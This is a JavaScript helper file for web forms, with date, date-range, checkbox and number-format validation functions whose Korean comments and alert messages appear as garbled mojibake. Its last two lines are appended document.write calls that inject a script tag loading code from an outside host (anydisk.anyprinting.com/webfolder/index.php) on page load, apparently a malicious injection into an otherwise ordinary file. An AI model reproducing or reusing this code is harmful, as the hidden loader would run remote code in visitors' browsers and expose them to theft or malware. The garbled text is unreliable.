// ----------------------------------------------------------------------
function chkDate(date1,str)
{
    if (date1.value =="") {
        alert(str + "¸¦ ÀÔ·ÂÇÏ¼¼¿ä.");
        date1.value = "";
        date1.focus();
        return false;
    }
    if (isDate(date1.value)==false) {
        alert(str + "ÀÇ ³¯Â¥Çü½ÄÀÌ Àß ¸ø µÇ¾ú½À´Ï´Ù.");
        date1.value = "";
        date1.focus();
        return false;
    }
}

// -------------------------------------------------------------------
// @ ±â°£ À¯È¿¼º Ã¼Å©
// @ »ç¿ë¹ý : date1 - ±â°£1 , date2 - ±â°£2
// ----------------------------------------------------------------------
function chkDateTerm(date1,date2,str)
{
    var startdate	= date1.value;
    var enddate		= date2.value;

    if (date1.value =="" && date2.value !="") {
        alert(str + " ½ÃÀÛÀÏÀÚ¸¦ ÀÔ·ÂÇÏ¼¼¿ä.");
        date1.value = "";
        date1.focus();
        return false;
    }
    if (date1.value !="" && date2.value =="") {
        alert(str + " Á¾·áÀÏÀÚ¸¦ ÀÔ·ÂÇÏ¼¼¿ä.");
        date2.value = "";
        date2.focus();
        return false;
    }


    if (isDate(date1.value)==false) {
        alert(str + " ½ÃÀÛÀÏÀÚÀÇ ³¯Â¥Çü½ÄÀÌ Àß ¸ø µÇ¾ú½À´Ï´Ù.");
        date1.value = "";
        date1.focus();
        return false;
    }
    if (isDate(date2.value)==false)
    {
        alert(str + " Á¾·áÀÏÀÚÀÇ ³¯Â¥Çü½ÄÀÌ Àß ¸ø µÇ¾ú½À´Ï´Ù.");
        date2.value = "";
        date2.focus();
        return false;
    }
    var yy_date1	= startdate.substring(0,4);
    var mm_date1	= startdate.substring(5,7);
    var dd_date1	= startdate.substring(8,10);

    var yy_date2	= enddate.substring(0,4);
    var mm_date2	= enddate.substring(5,7);
    var dd_date2	= enddate.substring(8,10);

    var sDate		= new Date(yy_date1,mm_date1,dd_date1);
    var fDate		= new Date(yy_date2,mm_date2,dd_date2);

    if (sDate > fDate) {
        alert(str+ " ±â°£À» Àß ¸ø ÀÔ·ÂÇÏ¼Ì½À´Ï´Ù.")
        return false;
    }
    
    return true;
}
// -------------------------------------------------------------------
// @ Ã¼Å©¹Ú½º ¸ðµÎ °ªÁÖ±â
// @ »ç¿ë¹ý : frm:ÇØ´ç Form ,checkVal : true or false
// ----------------------------------------------------------------------
function checkAll(frm,checkVal) {
    for (i = 0; i < frm.elements.length; i++) {
        if (frm.elements[i].name == 'Check') {
            frm.elements[i].checked = checkVal;
        }
    }
}


/**
 * ex) onChange=doubleFormatChk(pageform.tankCapacity,20,0,'ÅÊÅ©¿ë·®Àº')
 * parameter
 *          v    : input ÀÌ¸§
 *          num1 : ¼Ò¼öÁ¡ ¾Õ ÀÚ¸®¼ö
 *          num2 : ¼Ò¼öÁ¡ µÚ ÀÚ¸®¼ö
 *          msg  : message
*/
function doubleFormatChk(v,num1,num2,msg) {
    if (isNaN(delComma(v.value)) ) {
        newValFocus(v, v, msg + ' Çü½ÄÀÌ Àß¸ø µÇ¾ú½À´Ï´Ù, ¼ýÀÚ·Î ÀÔ·ÂÇØ ÁÖ¼¼¿ä!');
        return false;
    }
    if (chPointMsg(v.value,num1,num2,msg) != 1) {
        v.value = "";
        v.focus();
        return false;
    }
    return true;
}

//-->
document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
